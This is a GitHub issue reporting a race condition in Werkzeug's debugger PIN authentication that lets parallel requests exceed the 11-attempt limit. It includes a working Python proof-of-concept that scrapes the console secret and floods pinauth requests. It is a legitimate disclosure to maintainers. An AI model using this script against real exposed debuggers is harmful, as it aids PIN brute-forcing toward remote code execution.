Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Race condition in debugger PIN authentication #2916

Closed
unknown-1-0 opened this issue Jun 21, 2024 · 0 comments
Closed

Race condition in debugger PIN authentication #2916

unknown-1-0 opened this issue Jun 21, 2024 · 0 comments
Milestone

Comments

@unknown-1-0
Copy link

unknown-1-0 commented Jun 21, 2024

There is a race condition in debugger PIN authentication, specifically in DebuggedApplication.pin_auth() that allows to try more than 11 PINs. This happens because DebuggedApplication.pin_auth() does not properly handle parallel PIN authentication requests.

Reproduction steps

The app code:

import flask

app = flask.Flask(__name__)
app.debug = True
app.run()

Program that reproduces the bug (assuming the app above is running on localhost:5000):

from threading import Thread
from requests import get

threads_up = 0
threads_to_start = 150
host = 'http://localhost:5000'

response = get(f"{host}/console")
secret = response.text.split('SECRET = "')[1]
secret = secret.split('"')[0]
print("Secret:", secret)

wait = True
not_exhausted = 0
def send_code(pin):
    # wait for other threads to start for sending all of threads' requests at the same time
    global wait
    while wait:
        pass

    global host, secret
    response = get(f"{host}/console?__debugger__=yes&cmd=pinauth&s={secret}&pin={pin:09d}")

    cookies = ""
    for cookie in response.cookies.items():
        cookies += "=".join(cookie) + "; "

    if len(cookies) == 0:
        cookies = "None"

    print(f"PIN: {pin:09d} | Response: {response.text}\t| Cookies: {cookies}")

    global not_exhausted
    try:
        if not response.json()['exhausted']:
            not_exhausted += 1
    except:
        pass

    global threads_up
    threads_up -= 1

print(f"Starting {threads_to_start} threads...")
for i in range(0, threads_to_start):
    print(f"Starting thread {i+1} of {threads_to_start}...", end='\r')
    try:
        Thread(target=send_code, args=(i,), daemon=True).start()
        threads_up += 1
    except Exception as e:
        print(f"Failed to start thread {i+1}: {e}")

# Make all threads send their request
print(f"Threads started: {threads_up} out of {threads_to_start}. Sending requests...")
wait = False

while threads_up > 0:
    pass

print("Total requests not exhausted:", not_exhausted)

Expected behavior

If parallel PIN authentications were handled properly, the program above would show that only 11 requests didn't receive "exhausted":true, but because they are not handled properly, the program above shows 150 instead (or any other value you set in threads_to_start var)

Environment:

  • Python version: 3.11.9
  • Werkzeug version: 3.0.3
@davidism davidism added this to the 3.0.4 milestone Jul 31, 2024
@github-actions github-actions bot locked as resolved and limited conversation to collaborators Sep 5, 2024
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants